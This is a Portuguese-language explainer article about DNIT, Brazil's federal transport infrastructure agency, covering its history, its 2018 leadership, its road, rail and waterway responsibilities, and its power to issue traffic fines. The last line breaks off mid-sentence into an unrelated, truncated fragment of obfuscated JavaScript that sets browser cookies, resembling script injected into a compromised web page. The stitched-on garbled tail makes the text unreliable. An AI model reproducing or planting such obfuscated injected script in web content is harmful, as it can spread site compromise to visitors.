O que é o DNIT?

DNIT – O Brasil é o quinto país com a maior área territorial de todo o mundo. Dessa forma, é possível perceber que vivemos em uma nação de dimensões continentais, onde apenas um estado seja do tamanho de todo um país europeu, por exemplo.

Dessa forma, os deslocamentos são constantes. Viajar para outro estado, por exemplo, demanda um tempo vasto e boas condições para quem viaja. Mas você sabe qual é o órgão que controla as estradas do Brasil, responsável por fiscalizar o tráfego nos modais rodoviário, ferroviário e hidroviário?

É bem provável que, em algum momento de alguma das viagens que você fez, mesmo que para uma cidade vizinha, tenha visto uma placa nas estradas que mencionava um órgão de nome DNIT. Nesse artigo iremos falar mais sobre essa divisão e sobre as suas atribuições no sistema brasileiro. Leia e descubra!

O DNIT

Mais conhecido como DNIT, o Departamento Nacional de Infraestrutura de Transportes é uma autarquia federal responsável por vários fatores relacionados ao transporte no Brasil. A divisão é vinculada ao Ministério dos Transportes, Portos e Aviação Civil. Foi criado no ano de 2001, mais precisamente no dia 5 de junho. A sua atuação se iniciou, porém, apenas no outro ano, em fevereiro de 2002. Nesse sentido, foi o sucessor do já extinto Departamento Nacional de Estradas de Rodagem, mais conhecido como DNER.

Possui um número aproximado de 4300 funcionários diretos, além de um orçamento anual bilionário, que passa de 11 bilhões todos os anos. Atualmente, é chefiado pelo diretor-geral, José da Silva Tiago. A sede fica na cidade de Brasília, no Distrito Federal.

Como funciona o DNIT?

O DNIT é um órgão conhecida como entidade colegiada. Isso significa que existem várias divisões dentro do departamento, os quais funcionam em uma ordem de hierarquia. O órgão máximo é a Diretoria Colegiada, que contém os seguintes cargos, ocupados pelos seguintes profissionais (em junho de 2018):

• Diretor-Geral: José da Silva Tiago;
• Diretor Executivo: Halppher Luiggi Mônico Rosa;
• Diretor de Infraestrutura Rodoviária: Luiz Antonio Ehret Garcia;
• Diretor de Administração e Finanças: Mauro de Moura Magalhães;
• Diretor de Infraestrutura Aquaviária: Erick Moura de Medeiros;
• Diretor de Planejamento e Pesquisa: André Martins de Araújo;
• Diretor de Infraestrutura Ferroviária: Charles Magno Nogueira Beniz;

Principais Objetivos do DNIT

É responsável pela manutenção, ampliação, construção, fiscalização, e elaboração de estudos técnicos para a resolução de problemas relacionados ao Sistema Federal de Viação como também do tráfego multimodal de pessoas e bens, nos modais rodoviário, ferroviário e hidroviário.

A cada tipo de transporte o DNIT possui uma atribuição distinta, os quais:

Hidroviário:

O DNIT administra e executa as obras de manutenção no sistema hidroviário. Alguns dos programas em andamento do órgão podem ser citados:

Ampliação e recuperação da infra-estrutura do Porto de Paranaguá/PR;

Construção das Eclusas de Tucuruí/PA;

Complementação e melhoramento do Porto de Suape/PE;

Construção do Complexo Portuário do Porto de Pecém/CE;

Modernização do Porto de Itajaí/SC;

Terminal portuário na base de Alcântara/MA;

Ampliação dos molhes do Porto de Rio Grande e dragagem de aprofundamento do canal de acesso /RS;

Recuperação das instalações do Porto de Laguna/SC e melhoramentos dos portos de Santa Catarina;

Recuperação do Porto de Cabedelo/PB;

Constrtução da Eclusa de Lajeado no rio Tocantins/TO;

Ferroviário:

Os programas de ampliação e construção de novas malhas ferroviárias quase que não é atribuído ao DNIT. Isso se dá pelo fato de que, em todo o Brasil, a grande maioria dos pontos de metrô e trem está destinada à iniciativa privada. Desse modo, o DNIT é responsável por construir apenas alguns contornos ferroviários, apenas nas capitais e outras grandes cidades do Brasil, para a eliminação de possíveis pontos críticos.

Rodoviário:

A administração de mais de 90 por cento da malha rodoviária de todo o Brasil é responsabilidade do DNIT. Dessa forma, o órgão é responsável pela construção de novas estradas, reformas nas pistas e resolução de todo e qualquer problema que possa ocorrer, como eventuais acidentes.

Para ser mais exato, o DNIT cuida de 96% das estradas brasileiras. Os outros 4% foram concedidas para empresas privadas, sendo aquelas em que se paga os pedágios. A maior parte da receita anual desse departamento é destinada a essa modalidade de transporte. Atualmente, é estimado que existam mais de 56 mil quilômetros de estradas em todo o país.

O DNIT pode dar multas?

Esse é um assunto de interesse de milhares de caminhoneiros e outros motoristas de todo o Brasil. Isso se dá pelo fato de que existem alguns postos do DNIT ao longo das estradas brasileiras, e muitos se perguntam se estes podem multar. A resposta é sim: O DNIT competente para exercer as atribuições presentes no artigo 21 da Lei 9.503, do ano de 1997, mais conhecido como Código de Trânsito Brasileiro.

Na grande maioria das vezes, as multas aplicadas pelo DNIT são por excesso de peso na carroceria de caminhões – a partir de balanças espalhadas por todas as estradas do país – e outras por excesso de velocidade, a partir de lombadas eletrônicas instaladas pelo Departamento.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]